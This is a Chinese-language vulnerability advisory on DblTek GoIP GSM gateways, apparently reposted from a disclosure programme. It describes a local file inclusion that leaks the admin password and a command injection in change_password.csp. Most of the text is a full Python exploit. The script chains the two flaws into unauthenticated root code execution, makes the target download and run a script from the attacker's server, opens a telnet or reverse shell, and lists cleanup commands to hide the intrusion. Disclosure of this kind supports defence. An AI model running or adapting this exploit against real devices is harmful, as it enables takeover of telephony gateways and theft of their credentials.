导语:发现的漏洞分别是预认证信息泄露和命令执行。如果结合这两个漏洞,就可以进行未认证的远程代码执行。

DblTek(深圳市得伯乐科技有限公司)主要是设计、开发、制造各种GSM网关, SIM BANK, RolP网关等产品。GoIP网关涵盖了1,4,8,16,32端口,可以满足大范围的市场需求。所有产品的价格都比较低,非常吸引人。因为价格和性能的优势,GoIP被系统集成商、VoIP服务提供商和其他商业个人用户广泛采用。

漏洞总结

下面描述了DblTek web服务器中2个漏洞。分别是预认证信息泄露和命令执行。如果结合这两个漏洞,就可以进行未认证的远程代码执行。

厂商回应

该漏洞已经被报告给SecuriTeam Secure Disclosure计划。DblTek已经发布了漏洞补丁。

漏洞细节

用户控制的输入没有进行充分的审查,可以触发本地文件包含(Local File Inclusion)。通过发送GET请求到

/dev/mtdblock/5,攻击者可以下载含有admin密码的配置文件。

GET /default/en_US/frame.html?content=/dev/mtdblock/5

在得到admin密码后,我们可以发送POST请求到change_password.csp触发第二个漏洞。

在传递给change_password.csp时,用户控制的输入没有经过充分的审查。攻击者可以在配置变量中注入含有恶意代码的脚本,并执行该脚本。

POST /default/en_US/change_password.csp
Content-Type: application/x-www-form-urlencoded
Authorization: Basic ###BASE64("admin", ###LEAKED_PASSWORD###)###
level=user&user_level_enable=on&passwd=<%%25call system.exec: ###MALICIOUS_COMMAND###>

Proof of Concept

未认证的远程代码执行:

#!/usr/bin/python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import os, sys, base64, bz2, socket, argparse, threading, requests, re
PAYLOAD0 = '''#!/bin/sh
rm -f /tmp/y
/bin/busybox telnetd -l /bin/sh -p %d &
'''
PAYLOAD1 = '''#!/bin/sh
rm -f /tmp/y /tmp/p
wget -O /tmp/p http://%s:%d/prism
chmod 755 /tmp/p
/tmp/p
'''
class Handler(BaseHTTPRequestHandler):
    PRISM_PORT = 1337
    TELNET_PORT = 23
    def do_GET(self):
        if self.path == '/0':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            payload = PAYLOAD0 % Handler.TELNET_PORT
            self.wfile.write(payload.encode())
            return
        if self.path == '/1':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            payload = PAYLOAD1 % (Handler.HTTP_ADDR, Handler.HTTP_PORT)
            self.wfile.write(payload.encode())
            return
        if self.path == '/prism':
            self.send_response(200)
            self.send_header('Content-type', 'octet/stream')
            self.end_headers()
            self.wfile.write(prism(Handler.HTTP_ADDR, Handler.PRISM_PORT))
            return
        self.send_response(404)
    def log_message(self, format, *args):
        print(' -- SERVING ' + format % args)
class Server(threading.Thread):
    def __init__(self, addr='0.0.0.0', port=8080):
        threading.Thread.__init__(self)
        Handler.HTTP_ADDR = addr
        Handler.HTTP_PORT = port
        self.httpd = HTTPServer((addr, port), Handler)
    def set(mime, data):
        self.RequestHandlerClass.mime = mime
        self.RequestHandlerClass.data = data
    def run(self):
        print(' - Starting server http://%s:%s' % self.httpd.socket.getsockname())
        self.httpd.serve_forever()
    def stop(self):
        print(' - Stopping server')
        self.httpd.shutdown()
def prism(host, port):
    pyfile = open(os.path.realpath(__file__), 'r')
    data, skip = '', True
    for line in pyfile:
        if skip and line != '""" PRISM ARM V5Ln':
            continue
        if line == '"""n':
            break
        if not skip:
            data += line.strip()
        skip = False
    port = str(port)
    bhost = host.encode() + (b'�' * (16 - len(host)))
    bport = port.encode() + (b'�' * ( 6 - len(port)))
    binary = bytearray(bz2.decompress(base64.b64decode(data)))
    binary[0x7810:0x7810+16] = bhost
    binary[0x7820:0x7820+ 6] = bport
    return binary
def getip(host):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect((host, 1337))
    return s.getsockname()[0]
def get(url):
    print(' -- GET %s' % url)
    response = requests.get(url)
    return response.text
def post(url, password, data):
    print(' -- POST %s' % url)
    header = { 'Content-Type': 'application/x-www-form-urlencoded' }
    auth = requests.auth.HTTPBasicAuth('admin', password)
    response = requests.post(url, auth=auth, data=data, headers=header)
    return response.text
def attack_leak(target, variable):
    print(' - Dumping configuration (variable=%s)' % variable)
    config = get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)
    m = re.search(r'%s="(.*)"' % variable, config)
    if not m:
        print('Cannot leak variable %s :(' % variable)
        sys.exit(1)
    return m.group(1)
def attack_exec(target, password, command):
    print(' - Executing "%s"' % command)
    argv = ', '.join(command.split())
    data = 'level=user&user_level_enable=on&passwd=<%%25call system.exec: %s>' % argv
    post('http://%s/default/en_US/change_password.csp' % target, password, data)
    get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)
# Parsing attacker input
parser = argparse.ArgumentParser(description='DBLTek Unauthenticated Pre-Auth RCE as root', epilog="""
Available modes are:
 1 - Use telnetd on port %d
 2 - Use prism daemon with port %d 
 
""" % (Handler.TELNET_PORT, Handler.PRISM_PORT), formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-a', '--addr', dest='addr', type=str, default=None, help="http server address")
parser.add_argument('-p', '--port', dest='port', type=int, default=8080, help="http server port (default: 8080)")
parser.add_argument('-m', '--mode', dest='mode', type=int, default=0, help="attack mode (default 0)")
parser.add_argument('target')
args = parser.parse_args(sys.argv[1:])
# Get local address based on target address and routes
myaddr = getip(args.target)
myport = args.port
# Start payload delivery server
server = Server(args.addr or myaddr, myport)
server.start()
try:
    # Leak ADMIN_PASSWORD
    password = attack_leak(args.target, 'ADMIN_PASSWORD')
    print(" -- ADMIN_PASSWORD = '%s'" % password)
    attack_exec(args.target, password, "/bin/wget -O /tmp/y http://%s:%d/%d" % (myaddr, myport, args.mode))
    attack_exec(args.target, password, "/bin/sh /tmp/y")
    print(""" - Use these commands to wipe:
 -- => setsyscfg USER_PASSWORD=
 -- => setsyscfg USER_LEVEL_ENABLE=0""")
    if args.mode == 0:
        print(" - Telnet to %s port %d" % (args.target, Handler.TELNET_PORT))
        os.system("telnet %s %d" % (args.target, Handler.TELNET_PORT))
    if args.mode == 1:
        print(" - Listen on %s:%d (wait 15 seconds at least)" % (myaddr, Handler.PRISM_PORT))
        os.system("nc -l -p %d" % Handler.PRISM_PORT)
except RuntimeError as e:
    print(" - Failed :(")
    pass
# Stop payload delivery server
server.stop()
server.join()
源链接

Hacking more

...